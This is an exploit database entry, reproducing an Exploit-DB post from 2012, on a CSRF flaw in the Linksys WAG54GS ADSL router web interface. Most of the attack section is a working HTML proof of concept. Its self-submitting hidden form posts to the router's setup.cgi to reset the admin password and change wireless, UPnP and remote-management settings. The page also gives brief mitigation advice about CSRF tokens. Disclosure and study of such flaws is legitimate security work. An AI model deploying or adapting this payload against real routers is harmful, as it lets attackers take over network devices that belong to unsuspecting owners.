Cisco Linksys WAG54GS (ADSL Router) change admin password

vendor:

WAG54GS

by:

Ivano Binetti

7,8

CVSS

HIGH

CSRF

352

CWE

Product Name: WAG54GS

Affected Version From: V1.01.03

Affected Version To: V1.01.03

Patch Exists: NO

Related CWE: N/A

CPE: h:linksys:wag54gs

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Cisco Linksys WAG54GS (ADSL Router) change admin password

The web interface of this router is prone to CSRF vulnerabilities which allows to change router parameters and - among other things - to change default administrator ("admin") password.

Mitigation:

Implementing CSRF protection mechanisms, such as random tokens, can help mitigate the risk of CSRF attacks.

Source

Exploit-DB raw data:

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# Exploit Title : Cisco Linksys WAG54GS (ADSL Router) change admin password
# Date          : 20-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.linksysbycisco.com
# Version       : WAG54GS 
# Tested on     : Firmware Version: V1.01.03
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

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1)Introduction 
Cisco Linksys WAG54GS is an ADSL Router which uses a web management interface -listening to default on tcp/ip port 80 - and "admin" 
as default administrator. His default ip address is 192.168.1.1


2)Vulnerability Description
The web interface of this router is prone to CSRF vulnerabilities which allows to change router parameters and - among other things - 
to change default administrator ("admin") password.

3)Exploit 
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change admin password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/setup.cgi">
<input type="hidden" name="user_list" value="1"/>
<input type="hidden" name="sysname" value="admin"/>
<input type="hidden" name="sysPasswd" value="new_password"/>
<input type="hidden" name="sysConfirmPasswd" value="new_password"/>
<input type="hidden" name="remote_management" value="disable"/>
<input type="hidden" name="devname" value=""/>
<input type="hidden" name="snmp_enable" value="disable"/>
<input type="hidden" name="upnp_enable" value="enable"/>
<input type="hidden" name="wlan_enable" value="disable"/>
<input type="hidden" name="save" value="Save+Settings"/>
<input type="hidden" name="h_user_list" value="1"/>
<input type="hidden" name="h_pwset" value="yes"/>
<input type="hidden" name="sysname_changed" value="no"/>
<input type="hidden" name="pwchanged" value="yes"/>
<input type="hidden" name="pass_is_default" value="false"/>
<input type="hidden" name="pass_is_none" value="no"/>
<input type="hidden" name="h_remote_management" value="disable"/>
<input type="hidden" name="c4_trap_ip_" value=""/>
<input type="hidden" name="h_snmp_enable" value="disable"/>
<input type="hidden" name="h_upnp_enable" value="enable"/>
<input type="hidden" name="h_wlan_enable" value="disable"/>
<input type="hidden" name="todo" value="save"/>
<input type="hidden" name="this_file" value="Administration.htm"/>
<input type="hidden" name="next_file" value="Administration.htm"/>
<input type="hidden" name="message" value=""/>
</form>
</body>
</html>


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